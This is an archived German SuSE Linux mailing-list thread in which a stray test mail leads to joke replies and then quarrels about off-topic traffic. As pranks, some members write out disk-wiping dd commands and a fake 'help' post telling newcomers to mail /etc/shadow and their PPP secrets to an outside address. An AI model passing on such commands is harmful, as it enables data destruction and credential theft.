dsdasdsdsdffsdfsdf -- GMX - Die Kommunikationsplattform im Internet. http://www.gmx.net GMX Tipp: Machen Sie Ihr Hobby zu Geld bei unserem Partner 1&1! http://profiseller.de/info/index.php3?ac=OM.PS.PS003K00596T0409a
Thomas Hertweck schrieb am 19.07.2001 um 16:06:26 +0200: Hallo Thomas,
ns.ahh@gmx.de wrote:
dsdasdsdsdffsdfsdf
Der Kindergarten ist nebenan....!
nene, nix Kindergarten, das ist Schreibmaschinenkurs in der Volkshochschule. Bis denne, Michael -- ---------------------------------------------------------- Michael Schulz, Institut f. Geophysik, Universität Münster Corrensstr. 24, 48149 Münster Tel.: 0251-8333938, e-mail: michael@earth.uni-muenster.de
ns.ahh@gmx.de schrieb:
dsdasdsdsdffsdfsdf
hmm, das ist nicht so einfach zu erklären. Du solltest mal einen Blick in die man-page (man dsdasdsdsdffsdfsdf) werfen, hilft Dir bestimmt weiter. Nee ... die man-Page ist leider noch nicht verfügbar. SuSE arbeitet aber mit Hochdruck daran, die man-Page fertig zu stellen!
Die Problematik liegt hier leider darin, dass die Zentralstelle für die Registrierung von Man-Pages (Kurz: ZRMP) bei den bisherigen Entwürfen immer noch nicht ganz zufrieden ist. Und ehe SuSE aus dem MPK (Man-Page Konsortium) geschmissen wird, verzichten diese auf die Verbreitung der Man-Page bis zur Endgültigen Genehmingung durch die ZRMP ... Gerüchteweise hat SuSE aber eine Version bei SuSE Linux 7.2 nach /dev/null kopiert ... mittels cat /dev/null > /tmp/dsdasdsdsdffsdfsdf.man nroff -man /tmp/dsdasdsdsdffsdfsdf.man | more lässt sich daher (bei korrekt installierter SuSE 7.2) die Manpage ansehen. Wer da Probleme mit hat, liest sich bitte im SuSE Handbuch das Kapitel über Backups durch ... Es reicht, das Unterkapitel "Backups nach /dev/null" zu lesen. Hoffe, damit allen geholfen zu haben. Konrad Neitzel -- Konrad Neitzel Frankfurt / Main
Am Don, 19 Jul 2001, schrieb Konrad Neitzel:
ns.ahh@gmx.de schrieb:
dsdasdsdsdffsdfsdf
hmm, das ist nicht so einfach zu erklären. Du solltest mal einen Blick in die man-page (man dsdasdsdsdffsdfsdf) werfen, hilft Dir bestimmt weiter. Nee ... die man-Page ist leider noch nicht verfügbar. SuSE arbeitet aber mit Hochdruck daran, die man-Page fertig zu stellen!
Die Problematik liegt hier leider darin, dass die Zentralstelle für die Registrierung von Man-Pages (Kurz: ZRMP) bei den bisherigen Entwürfen immer noch nicht ganz zufrieden ist. Und ehe SuSE aus dem MPK (Man-Page Konsortium) geschmissen wird, verzichten diese auf die Verbreitung der Man-Page bis zur Endgültigen Genehmingung durch die ZRMP ...
Gerüchteweise hat SuSE aber eine Version bei SuSE Linux 7.2 nach /dev/null kopiert ... mittels cat /dev/null > /tmp/dsdasdsdsdffsdfsdf.man nroff -man /tmp/dsdasdsdsdffsdfsdf.man | more lässt sich daher (bei korrekt installierter SuSE 7.2) die Manpage ansehen.
Vor dem Aufruf von nroff sollte man die unter /dev/null gespeicherte manpage aber sichern. dd if=/dev/null of=/dev/hda Gruß Christoph -- Christoph Maurer - Paul-Röntgen-Straße 7 - 52072 Aachen - Tux#194235 mailto:christoph-maurer@gmx.de - http://www.christophmaurer.de Auf der Homepage u.a.: Installation von SuSE 7.0 auf Notebook Acer Travelmate 508 T, Elektrotechnik an der RWTH Aachen
On Thu, 19 Jul 2001 at 16:55 (+0200), Christoph Maurer wrote:
Am Don, 19 Jul 2001, schrieb Konrad Neitzel:
ns.ahh@gmx.de schrieb:
dsdasdsdsdffsdfsdf
hmm, das ist nicht so einfach zu erklären. Du solltest mal einen Blick in die man-page (man dsdasdsdsdffsdfsdf) werfen, hilft Dir bestimmt weiter. Nee ... die man-Page ist leider noch nicht verfügbar. SuSE arbeitet aber mit Hochdruck daran, die man-Page fertig zu stellen!
Die Problematik liegt hier leider darin, dass die Zentralstelle für die Registrierung von Man-Pages (Kurz: ZRMP) bei den bisherigen Entwürfen immer noch nicht ganz zufrieden ist. Und ehe SuSE aus dem MPK (Man-Page Konsortium) geschmissen wird, verzichten diese auf die Verbreitung der Man-Page bis zur Endgültigen Genehmingung durch die ZRMP ...
Gerüchteweise hat SuSE aber eine Version bei SuSE Linux 7.2 nach /dev/null kopiert ... mittels cat /dev/null > /tmp/dsdasdsdsdffsdfsdf.man nroff -man /tmp/dsdasdsdsdffsdfsdf.man | more lässt sich daher (bei korrekt installierter SuSE 7.2) die Manpage ansehen. Vor dem Aufruf von nroff sollte man die unter /dev/null gespeicherte manpage aber sichern. dd if=/dev/null of=/dev/hda ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ | ACHTUNG | | `-------------------------------'
Jetzt ist aber Schluss mit lustig!! Am Ende macht das noch einer, dann ist die Festplatte leer! Gruß, Bernhard -- "Der Mensch erfand die Atombombe, doch keine Maus der Welt würde eine Mausefalle konstruieren." [Albert Einstein]
Am Thu, 19 Jul 2001 schrieb Bernhard Walle:
dd if=/dev/null of=/dev/hda ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ | ACHTUNG | | `-------------------------------'
Jetzt ist aber Schluss mit lustig!! Am Ende macht das noch einer, dann ist die Festplatte leer!
Dafür ist derjenige dann um eine Erfahrung reicher. Ich finde sowas absolut nicht schlimm. Wer stupide und aufs gröbste fahrlässig irgendwelche Befehle abtippt und ausführt, ohne sie verstanden zu haben, muß halt mit sowas rechnen - das ist der Preis der Faulheit. Den Fehler macht er maximal einmal. Abgesehen davon: wer einen Rechner ohne anständige Sicherung betreibt darf sich über Datenverluste ohnehin nicht wundern. Und mit Sicherung ist maximale Lehrgeld ein paar Stunden Zeit für das Wiederaufsetzen des Systems - für den gebotenen Lerneffekt wahrlich nicht viel. Wenn derjenige das auf einem wichtigen Produktivsystem macht, dann gehört er zusätzlich dazu noch für den kompletten Schaden haftbar gemacht und fristlos gefeuert, denn für nen Job als Systembetreuer ist derjenige einfach ungeeignet. Er hat mutwillig den Geschäftsbetrieb gefährdet und gegen elementarste Sicherheitsregeln verstoßen. Dieses Problem hat er zwar nun begriffen, aber leider viel zu spät - und andere wird er sehr wahrscheinlich auch zu spät begreifen, weshalb es besser ist, wenn er zukünftig was anderes macht, wo er nicht so viel anrichtet. Ärzten werden Kunstfehler schließlich auch nicht nachgesehen. Derjenige, der diesen Menschen da hingesetzt hat, gehört mindestens degradiert, denn als Personalentscheider ist es ohne Zweifel genau sein Job, die Fähigkeit der auf die Stellen eingesetzten Leute zu beurteilen. Offensichtlich hat auch er kläglich versagt, denn solche Fehler passieren nur allerblutigsten Anfängern, und die sollten bei der Auswahl von Leuten für so einen Job ja wohl als Erste ausgesiebt werden. Dazu gibt es auch ziemlich zuverlässige Methoden, die er als Personalkompetenzträger kennen oder sich aneignen muß, sonst sitzt er am falschen Schreibtisch. -- Erhard Schwenk http://www.fto.de http://www.akkordeonjugend.de
Am Don, 19 Jul 2001, schrieb Bernhard Walle:
On Thu, 19 Jul 2001 at 16:55 (+0200), Christoph Maurer wrote:
Am Don, 19 Jul 2001, schrieb Konrad Neitzel:
ns.ahh@gmx.de schrieb:
dsdasdsdsdffsdfsdf
hmm, das ist nicht so einfach zu erklären. Du solltest mal einen Blick in die man-page (man dsdasdsdsdffsdfsdf) werfen, hilft Dir bestimmt weiter. Nee ... die man-Page ist leider noch nicht verfügbar. SuSE arbeitet aber mit Hochdruck daran, die man-Page fertig zu stellen!
Die Problematik liegt hier leider darin, dass die Zentralstelle für die Registrierung von Man-Pages (Kurz: ZRMP) bei den bisherigen Entwürfen immer noch nicht ganz zufrieden ist. Und ehe SuSE aus dem MPK (Man-Page Konsortium) geschmissen wird, verzichten diese auf die Verbreitung der Man-Page bis zur Endgültigen Genehmingung durch die ZRMP ...
Gerüchteweise hat SuSE aber eine Version bei SuSE Linux 7.2 nach /dev/null kopiert ... mittels cat /dev/null > /tmp/dsdasdsdsdffsdfsdf.man nroff -man /tmp/dsdasdsdsdffsdfsdf.man | more lässt sich daher (bei korrekt installierter SuSE 7.2) die Manpage ansehen. Vor dem Aufruf von nroff sollte man die unter /dev/null gespeicherte manpage aber sichern. dd if=/dev/null of=/dev/hda ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ | ACHTUNG | | `-------------------------------'
Jetzt ist aber Schluss mit lustig!! Am Ende macht das noch einer, dann ist die Festplatte leer!
Okay, Du hast ja recht, aber wer soll das denn machen? Ich habe das Risiko für so gering gehalten, daß ich es nicht für nötig hielt, eine extra Warnung dazu zu schreiben... Gruß Christoph -- Christoph Maurer - Paul-Röntgen-Straße 7 - 52072 Aachen - Tux#194235 mailto:christoph-maurer@gmx.de - http://www.christophmaurer.de Auf der Homepage u.a.: Installation von SuSE 7.0 auf Notebook Acer Travelmate 508 T, Elektrotechnik an der RWTH Aachen
On Thursday 19 July 2001 15:05, Bernhard Walle wrote:
On Thu, 19 Jul 2001 at 16:55 (+0200), Christoph Maurer wrote:
Am Don, 19 Jul 2001, schrieb Konrad Neitzel:
ns.ahh@gmx.de schrieb:
dsdasdsdsdffsdfsdf
hmm, das ist nicht so einfach zu erklären. Du solltest mal einen Blick in die man-page (man dsdasdsdsdffsdfsdf) werfen, hilft Dir bestimmt weiter.
Nee ... die man-Page ist leider noch nicht verfügbar. SuSE arbeitet aber mit Hochdruck daran, die man-Page fertig zu stellen!
Die Problematik liegt hier leider darin, dass die Zentralstelle für die Registrierung von Man-Pages (Kurz: ZRMP) bei den bisherigen Entwürfen immer noch nicht ganz zufrieden ist. Und ehe SuSE aus dem MPK (Man-Page Konsortium) geschmissen wird, verzichten diese auf die Verbreitung der Man-Page bis zur Endgültigen Genehmingung durch die ZRMP ...
Gerüchteweise hat SuSE aber eine Version bei SuSE Linux 7.2 nach /dev/null kopiert ... mittels cat /dev/null > /tmp/dsdasdsdsdffsdfsdf.man nroff -man /tmp/dsdasdsdsdffsdfsdf.man | more lässt sich daher (bei korrekt installierter SuSE 7.2) die Manpage ansehen.
Vor dem Aufruf von nroff sollte man die unter /dev/null gespeicherte manpage aber sichern. dd if=/dev/null of=/dev/hda
Jetzt ist aber Schluss mit lustig!! Am Ende macht das noch einer, dann ist die Festplatte leer!
Nein das dürfte noch nicht den gewünschten Effekt haben. Deshalb hier noch mal die ultimative Anleitung : for i in a b c d ; do dd if=/dev/zero of=/dev/fun$i done Ganz ausgebuffte können fun natürlich mit hd, sd oder sg ersetzen. -- Mathias
* Bernhard Walle <Bernhard.Walle@gmx.de> textete am 19.07.01:
On Thu, 19 Jul 2001 at 16:55 (+0200), Christoph Maurer wrote:
Am Don, 19 Jul 2001, schrieb Konrad Neitzel:
ns.ahh@gmx.de schrieb:
dsdasdsdsdffsdfsdf
[...]
Gerüchteweise hat SuSE aber eine Version bei SuSE Linux 7.2 nach /dev/null kopiert ... mittels cat /dev/null > /tmp/dsdasdsdsdffsdfsdf.man nroff -man /tmp/dsdasdsdsdffsdfsdf.man | more lässt sich daher (bei korrekt installierter SuSE 7.2) die Manpage ansehen. Vor dem Aufruf von nroff sollte man die unter /dev/null gespeicherte manpage aber sichern. dd if=/dev/null of=/dev/hda ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ | ACHTUNG | | `-------------------------------'
Jetzt ist aber Schluss mit lustig!! Am Ende macht das noch einer, dann ist die Festplatte leer!
Dann weiß er, warum er manpages lesen soll anstatt alles blind auszuführen, was er hier vorfindet. Sorry, aber wer _so_ blöd ist, daß er irgendwelche Befehle ausführt und keinen blassen Dunst hat, was er da eigentlich macht, lernt hoffentlich daraus. Es könnte sich auch jemand die /etc/passwd schicken lassen und die Passwörter in aller Ruhe knacken. cu flo --
Armer Irrer? ;) Der bist wohl Du da du nicht merkst das ich keine Replys von dir und den anderen Deppen von der dunklen Macht haben will obwohl ich das schon 15mal gesagt habe. [Steffen H. Hillner 'diskutiert' immer noch in dafb]
On Sat, 21 Jul 2001 at 14:04 (+0200), Florian Gross wrote:
Es könnte sich auch jemand die /etc/passwd schicken lassen und die Passwörter in aller Ruhe knacken.
Also meine kannst Du gerne haben. Was willst Du bei einem 'x' für ein Paßwort knacken? Vielmehr wäre die /etc/shadow interessant. (Ich gehe jetzt von einem normalen SuSE-System etwas neueren Datums aus. Wer schon 5 Jahre mit Linux arbeitet, weiß sowieso, was er tut.) Wie war das nochmal mit Manpage lesen ... Gruß, Bernhard -- "And when I don't know of a bug, it doesn't exist." [Linus Torvalds]
On Sun, Jul 22, 2001 at 05:51:56PM +0200, Bernhard Walle wrote:
On Sat, 21 Jul 2001 at 14:04 (+0200), Florian Gross wrote:
Es könnte sich auch jemand die /etc/passwd schicken lassen und die Passwörter in aller Ruhe knacken.
Also meine kannst Du gerne haben. Was willst Du bei einem 'x' für ein Paßwort knacken? Vielmehr wäre die /etc/shadow interessant. (Ich gehe jetzt von einem normalen SuSE-System etwas neueren Datums aus. Wer schon 5 Jahre mit Linux arbeitet, weiß sowieso, was er tut.)
Wie war das nochmal mit Manpage lesen ... Gut dann probieren wir das mal aus:
Hallo Linux Newbies, ihr koennt alle eure Probleme loesen wenn ihr folgende Kommandos in einer Shell ausfuehrt: $su - #cat /etc/shadow|mail -s hilfe shoexter@gmx.de #cat /etc/ppp/pap-secrets|mail -s hilfe shoexter@gmx.de wahlweise hilft auch schonmal ein #cat /etc/wvdial.conf|mail -s hilfe shoexter@gmx.de Die "#" und "$" Zeichen duerft ihr nicht mit abtippen! Hoffe das hilft euch bei der Loesung eurer Probleme, Sven -- Subject: Re: woody hanging
WRT subject. $ apt-get install viagra ;-) [Karsten M. Self in debian-user]
Hallo!
ihr koennt alle eure Probleme loesen wenn ihr folgende Kommandos in einer Shell ausfuehrt: $su - #cat /etc/shadow|mail -s hilfe shoexter@gmx.de #cat /etc/ppp/pap-secrets|mail -s hilfe shoexter@gmx.de
Super Sache! Das habe ich bei allen 5 Rechnern hier in die crontab eingetragen. Wird alle 5 min aufgerufen .... Rechner läuft jetzt wirklich viel viel besser ... werde es noch hochsetzen auf jede Minute ... BTW: Betroffen sind nur die Linux-Arbeitsplätze - nicht der Server ... daher wirst Du keine User finden ... selbst den root User habe ich dort nicht mehr drin. Geht alles übers Netz! Viel Spass mit den eMails, Konrad Neitzel -- Konrad Neitzel Frankfurt / Main
Koennte man diesen Thread, der durch Missgeschick eines Einzelnen entstand und bei dem mittlerweile wohl alles gesagt wurde (am Anfang wars ja noch witzig mit der man-Page, aber inzwischen laeuft es echt etwas aus dem Ruder) endlich beenden. Alte Sachen aufwaermen fuehrt doch zu nichts sinnvollem, das haben wir hier doch immer und immer wieder bestaetigt bekommen. Lieber Thread, ruhe in Frieden! Danke! Thomson PS: Wie Bernhard neulich so nett "das Leben eines Threads" beschrieb.... - wir sind nun also in dem Status, dass jemand um Aufhoeren bittet. Dann sollte jetzt nach Bernhards Theorie noch ein oder zwei Mails kommen und dann Ruhe sein. Hoffen wir es mal.... :-) -- Thomas Hertweck, Geophysicist Geophysical Institute, Karlsruhe University (TH) Hertzstr. 16, D-76187 Karlsruhe, Germany
* Bernhard Walle <Bernhard.Walle@gmx.de> textete am 22.07.01:
On Sat, 21 Jul 2001 at 14:04 (+0200), Florian Gross wrote:
Es könnte sich auch jemand die /etc/passwd schicken lassen und die Passwörter in aller Ruhe knacken.
Also meine kannst Du gerne haben. Was willst Du bei einem 'x' für ein Paßwort knacken? Vielmehr wäre die /etc/shadow interessant. (Ich gehe jetzt von einem normalen SuSE-System etwas neueren Datums aus. Wer schon 5 Jahre mit Linux arbeitet, weiß sowieso, was er tut.)
Hups, vertan. Da ich die aber nicht versende, ist das eh egal. cu flo -- Ist doch klar 42 Dackel= 42 Dackel=42 Dackel. [WoKo in dag°]
Bernhard Walle schrieb:
On Thu, 19 Jul 2001 at 16:55 (+0200), Christoph Maurer wrote:
Am Don, 19 Jul 2001, schrieb Konrad Neitzel:
ns.ahh@gmx.de schrieb:
dsdasdsdsdffsdfsdf
hmm, das ist nicht so einfach zu erklären. Du solltest mal einen Blick in die man-page (man dsdasdsdsdffsdfsdf) werfen, hilft Dir bestimmt weiter. Nee ... die man-Page ist leider noch nicht verfügbar. SuSE arbeitet aber mit Hochdruck daran, die man-Page fertig zu stellen!
Die Problematik liegt hier leider darin, dass die Zentralstelle für die Registrierung von Man-Pages (Kurz: ZRMP) bei den bisherigen Entwürfen immer noch nicht ganz zufrieden ist. Und ehe SuSE aus dem MPK (Man-Page Konsortium) geschmissen wird, verzichten diese auf die Verbreitung der Man-Page bis zur Endgültigen Genehmingung durch die ZRMP ...
Gerüchteweise hat SuSE aber eine Version bei SuSE Linux 7.2 nach /dev/null kopiert ... mittels cat /dev/null > /tmp/dsdasdsdsdffsdfsdf.man nroff -man /tmp/dsdasdsdsdffsdfsdf.man | more lässt sich daher (bei korrekt installierter SuSE 7.2) die Manpage ansehen. Vor dem Aufruf von nroff sollte man die unter /dev/null gespeicherte manpage aber sichern. dd if=/dev/null of=/dev/hda ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ | ACHTUNG | | `-------------------------------'
Jetzt ist aber Schluss mit lustig!! Am Ende macht das noch einer, dann ist die Festplatte leer!
Gruß, Bernhard
Irgendwie seid Ihr doch nicht mehr normal hier! Da vertippt sich einer, bzw. sendet illegalerweise eine Test- Mail und jeder, aber auch jeder muss darauf einen Kommentar geben? Die allererste Mail von Konrad war ja noch richtig zum Schmunzeln, aber was jetzt an offensichtlich böswilligen Mails kommt, gehört wirklich nicht hier her. Oder spinnt ihr jetzt komplett? Die _eine_ kleine Mail ist doch nichts gegen Euren _ SPAM _ , den Ihr durch Eure Diskussionen wieder und wieder verursacht. Könntet Ihr vielleicht einen Gang runterschalten? Danke! Macht doch bitte, bitte, bitte solche niveaulosen Dinge per PM aus, danke! :( Empört und genervt! Trotzdem herzliche Grüße! Mike (der sich hier ein Archiv anlegen möchte, anstatt dauernd diese dusseligen Diskussionen löschen zu müssen!)
Hallo Mike, Du hast es geschaft, daß ich auch noch eine Mail zu diesem Thread schreibe. * Mike Deter schrieb am 26.Jul.2001:
Bernhard Walle schrieb:
On Thu, 19 Jul 2001 at 16:55 (+0200), Christoph Maurer wrote:
Am Don, 19 Jul 2001, schrieb Konrad Neitzel:
ns.ahh@gmx.de schrieb:
dsdasdsdsdffsdfsdf
Irgendwie seid Ihr doch nicht mehr normal hier!
Wer ist Ihr? Alle anderen, nur Du nicht? Das ist der Grundfehler, den Du machst. Jeder denkt, ich bin hier und eine graue, unbestimmte Masse auf der anderen Seite. Aber jeder trägt zu dieser Masse bei.
Da vertippt sich einer, bzw. sendet illegalerweise eine Test- Mail und jeder, aber auch jeder muss darauf einen Kommentar geben?
Jeder? Bist Du Dir da sicher? Ich habe z.B bisher noch keine dazu geschrieben. Und mindestens 2000 weitere User auch nicht.
Die allererste Mail von Konrad war ja noch richtig zum Schmunzeln, aber was jetzt an offensichtlich böswilligen Mails kommt, gehört wirklich nicht hier her.
Was? Die von Bernhard? Die kannst Du doch wirklich nicht als böswillig bezeichnen. Sie ist aber schon eine ganze Weile her. Ich weiß nicht, warum Du da jetzt drauf antwortest und ein neues Faß aufmachst.
Oder spinnt ihr jetzt komplett? Die _eine_ kleine Mail ist doch nichts gegen Euren _ SPAM _ , den Ihr durch Eure Diskussionen wieder und wieder verursacht.
Was hier abgeht, mag zwar unnötig sein, aber hat mit SPAM nicht das geringste zu tun. Weder die Ausgangsmail von ns.ahh noch alles was darauf folgte.
Könntet Ihr vielleicht einen Gang runterschalten? Danke! Macht doch bitte, bitte, bitte solche niveaulosen Dinge per PM aus, danke!
Was bezeichnest Du als niveaulos und was nicht? Auf einer Mailingliste kommt es immer zu Metadiskusionen. Da änderst Du auch nichts dran. Ist doch auch normal und menschlich. Ich finde es ja auch, daß es nicht überhand nehmen soll, aber ganz auszuschalten ist es nicht.
:( Empört und genervt! Trotzdem herzliche Grüße! Mike (der sich hier ein Archiv anlegen möchte, anstatt dauernd diese dusseligen Diskussionen löschen zu müssen!)
Vergiß es, und archivier einfach alles, oder nur ganz bestimmte Themen. Bernd -- Bei Fragen an die Liste erst mal nachschauen, ob es diese Frage nicht schon einmal gegeben hat. Ein Archiv der Liste findest Du auf: http://lists.suse.com/archives/suse-linux |Zufallssignatur 7
Am Donnerstag, 26. Juli 2001 13:47 schrieb Mike Deter:
Bernhard Walle schrieb:
On Thu, 19 Jul 2001 at 16:55 (+0200), Christoph Maurer wrote:
Am Don, 19 Jul 2001, schrieb Konrad Neitzel:
ns.ahh@gmx.de schrieb:
dsdasdsdsdffsdfsdf
hmm, das ist nicht so einfach zu erklären. Du solltest mal einen Blick in die man-page (man dsdasdsdsdffsdfsdf) werfen, hilft Dir bestimmt weiter.
Nee ... die man-Page ist leider noch nicht verfügbar. SuSE arbeitet aber mit Hochdruck daran, die man-Page fertig zu stellen!
Die Problematik liegt hier leider darin, dass die Zentralstelle für die Registrierung von Man-Pages (Kurz: ZRMP) bei den bisherigen Entwürfen immer noch nicht ganz zufrieden ist. Und ehe SuSE aus dem MPK (Man-Page Konsortium) geschmissen wird, verzichten diese auf die Verbreitung der Man-Page bis zur Endgültigen Genehmingung durch die ZRMP ...
Gerüchteweise hat SuSE aber eine Version bei SuSE Linux 7.2 nach /dev/null kopiert ... mittels cat /dev/null > /tmp/dsdasdsdsdffsdfsdf.man nroff -man /tmp/dsdasdsdsdffsdfsdf.man | more lässt sich daher (bei korrekt installierter SuSE 7.2) die Manpage ansehen.
Vor dem Aufruf von nroff sollte man die unter /dev/null gespeicherte manpage aber sichern. dd if=/dev/null of=/dev/hda
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
| ACHTUNG
`-------------------------------'
Jetzt ist aber Schluss mit lustig!! Am Ende macht das noch einer, dann ist die Festplatte leer!
Gruß, Bernhard
Irgendwie seid Ihr doch nicht mehr normal hier!
Da vertippt sich einer, bzw. sendet illegalerweise eine Test- Mail und jeder, aber auch jeder muss darauf einen Kommentar geben?
Die allererste Mail von Konrad war ja noch richtig zum Schmunzeln, aber was jetzt an offensichtlich böswilligen Mails kommt, gehört wirklich nicht hier her.
Oder spinnt ihr jetzt komplett? Die _eine_ kleine Mail ist doch nichts gegen Euren _ SPAM _ , den Ihr durch Eure Diskussionen wieder und wieder verursacht.
Hallo Mike Ich finde das sollten wir jetzt mal bei einer gepflegten Portion Biomüsli genauestens ausdiskutieren
Könntet Ihr vielleicht einen Gang runterschalten? Danke! Macht doch bitte, bitte, bitte solche niveaulosen Dinge per PM aus, danke!
Was war jetzt noch gleich der geforderte Niveau-Standard
:(
:-)
Empört und genervt! Trotzdem herzliche Grüße! Mike Ebenfalls herzliche Grüße CU Thorsten (der sich hier ein Archiv anlegen möchte, anstatt dauernd diese dusseligen Diskussionen löschen zu müssen!) Trags mit Humor oder wenigstens mit Fassung ( ersteres ist gesünder) --
Irgendwie seid Ihr doch nicht mehr normal hier! Da vertippt sich einer, bzw. sendet illegalerweise eine Test- Mail und jeder, aber auch jeder muss darauf einen Kommentar geben? Die allererste Mail von Konrad war ja noch richtig zum Schmunzeln, aber was jetzt an offensichtlich böswilligen Mails kommt, gehört wirklich nicht hier her. Oder spinnt ihr jetzt komplett? Die _eine_ kleine Mail ist doch nichts gegen Euren _ SPAM _ , den Ihr durch Eure Diskussionen wieder und wieder verursacht. Könntet Ihr vielleicht einen Gang runterschalten? Danke! Macht doch bitte, bitte, bitte solche niveaulosen Dinge per PM aus, danke! :( Empört und genervt! Trotzdem herzliche Grüße! Mike (der sich hier ein Archiv anlegen möchte, anstatt dauernd diese dusseligen Diskussionen löschen zu müssen!) Und heute? Es wird ja immer schlimmer! Tausende von OT-Mails. Und genau die Leute, die immer wieder die Etikette hinstellen, fachen diese Threads immer wieder neu an. DAS nervt - mehr als jede Test oder TOFu-Mail Nochmal: :( Empört und genervt! Trotzdem herzliche Grüße! Mike (der sich hier ein Archiv anlegen möchte, anstatt dauernd diese dusseligen Diskussionen löschen zu müssen!) Es ist durch Eure Diskutierei einfach zuviel Traffic!!!!
Mike Deter <MikeDeter@gmx.de> schrieb:
Irgendwie seid Ihr doch nicht mehr normal hier!
Ja - das denke ich auch immer wieder. Wie blöd muss ein Mensch sein, hier seine wertvolle Zeit für andere zu verplempern. Danken tut es ehh doch kaum einer. Das verstehe ich auch nicht. Leider gehöre ich auch zu diesen Vollidioten, die hier Zeit verplempern.
Da vertippt sich einer, bzw. sendet illegalerweise eine Test- Mail und jeder, aber auch jeder muss darauf einen Kommentar geben?
Die allererste Mail von Konrad war ja noch richtig zum Schmunzeln, aber was jetzt an offensichtlich böswilligen Mails kommt, gehört wirklich nicht hier her. Was für eine allererste Mail denn? Etwa von mir? Ich bin doch ein ganz
JEDER??? [ ] Du weisst wovon du redest. Wie viele Mails hast Du denn bekommen? Hast Du eine Ahnung, wie viele User auf der Liste sind? Selbst die schreibenden User werden dir nicht alle eine eMail geschrieben haben. Wenn du auf 5% kommst, dann bist Du schon verdammt gut :) liebenswerter Trottel :) Neuerdings habe ich nur dazu gelernt und stelle mich nun auf das Niveau des Fragestellers ein. Und wenn der keine Infos gibt, dann muss ich das doch auch nicht :)
Oder spinnt ihr jetzt komplett? Die _eine_ kleine Mail ist doch nichts gegen Euren _ SPAM _ , den Ihr durch Eure Diskussionen wieder und wieder verursacht. [ ] Du weisst, was SPAM ist.
Könntet Ihr vielleicht einen Gang runterschalten? Danke! Macht doch bitte, bitte, bitte solche niveaulosen Dinge per PM aus, danke! Naja - ich weiss nicht, was da per PM kommt. Bei Beleidigungen würde ich sagen: Killfile lässt grüssen, aber das ist mir so eigentlich noch nie passiert. Und ansonsten: Augen zu und durch.
Es wird ja immer schlimmer! Tausende von OT-Mails. Und genau die Leute, die immer wieder die Etikette hinstellen, fachen diese Threads immer wieder neu an. Es ist durch Eure Diskutierei einfach zuviel Traffic!!!!
Sieh in diesen Diskussionen einen Versuch, vielleicht doch etwas zu ändern oder zu bewirken. Dies ist immer noch besser, als der Liste den Rücken zu kehren und einfach abzuhauen. Klar produziere ich auch Mails, die nicht sein müssten. Ich bin da 100% Deiner Meinung. Nur eben würde es von mir und anderen gewisse Mails nicht geben (die dich so stören!), wenn man uns nicht immer wieder irgendwas vor den Latz knallt. Und wenn ich mich dann z.B. einmal etwas "entlade", dann sei doch froh: So bleibe ich in der Liste. Wenn ich einmal zu sehr geladen bin, melde ich mich sonst hinerher noch ab. (Nicht dass ich damit irgendeine Wertung verbinden würde oder mir gar etwas auf mich einbilde, aber ich bin halt einer, der von Zeit zu Zeit Antworten schreibt und die Liste lebt von solchen Leuten. Und zum Glück gibt es davon relativ viele!) Mit den besten Grüßen, Konrad Neitzel -- SoftMediaTec GmbH Tel: 0172 / 689 31 45 Fax: 069 / 90 50 99 53
Am Sam, 27 Apr 2002 schrieb Mike Deter:
Irgendwie seid Ihr doch nicht mehr normal hier!
Du aber auch nicht, in den References Deiner Mail steht u.a. eine Mail von mir vom 19.07.2001, findest Du nicht, der Thread sei mittlerweile beendet gewesen... Falls Du anderer Meinung bist, solltest Du wirklich ordentlich zitieren, damitz wir uns wieder erinneren können, worum es geht *g* Also beherrsch Dich, anstatt hier rumzutrollen... Gruß Christoph -- Christoph Maurer - 52072 Aachen - Tux#194235 mailto:christoph-maurer@gmx.de - http://www.christophmaurer.de Auf der Homepage u.a.: Installation von SuSE 7.0 auf Notebook Acer Travelmate 508 T, Elektrotechnik an der RWTH Aachen
Hallo, On Mon, 29 Apr 2002, Christoph Maurer wrote:
Am Sam, 27 Apr 2002 schrieb Mike Deter:
Irgendwie seid Ihr doch nicht mehr normal hier! Also beherrsch Dich, anstatt hier rumzutrollen...
Moensch, Christoph, stehst du auf der Leitung, oder was? *scnr* ,---- | # $HOME/.procmail/kill-suse.rc | [..] | # 29.07.01 | # expires: 29.08.01 | # extended: 07.02.02 (repeatedly) | :0 H | * ^From.*MikeDeter@gmx.de | * ^X-Mailinglist:.*suse-linux$ | suse-linux-killfiled `---- Nein, das 'expires' ist nie zum Tragen gekommen, denn der gute Mike hat oft und zu genuege bewiesen, dass der Filterkommentar veraltet ist. Da fehlt eindeutig ein '# updated to: expires: never'. -dnh -- The correct plural of virus is "vi". Throw enough of the little buggers together and they neutralize each other and you get a usable text editor. -- Anthony de Boer
David Haller schrieb:
Hallo,
On Mon, 29 Apr 2002, Christoph Maurer wrote:
Am Sam, 27 Apr 2002 schrieb Mike Deter:
Irgendwie seid Ihr doch nicht mehr normal hier! Also beherrsch Dich, anstatt hier rumzutrollen...
Moensch, Christoph, stehst du auf der Leitung, oder was? *scnr*
,---- | # $HOME/.procmail/kill-suse.rc | [..] | # 29.07.01 | # expires: 29.08.01 | # extended: 07.02.02 (repeatedly) | :0 H | * ^From.*MikeDeter@gmx.de | * ^X-Mailinglist:.*suse-linux$ | suse-linux-killfiled `----
Nein, das 'expires' ist nie zum Tragen gekommen, denn der gute Mike hat oft und zu genuege bewiesen, dass der Filterkommentar veraltet ist. Da fehlt eindeutig ein '# updated to: expires: never'.
-dnh
Genau diese widerliche Arroganz ist es, was ich meinte. Dankke Stephan, Konrad und viele andere, fuer Eure ehrliche Meinung per PM. Mike!
Hi Mike!
Genau diese widerliche Arroganz ist es, was ich meinte. Dankke Stephan, Konrad und viele andere, fuer Eure ehrliche Meinung per PM.
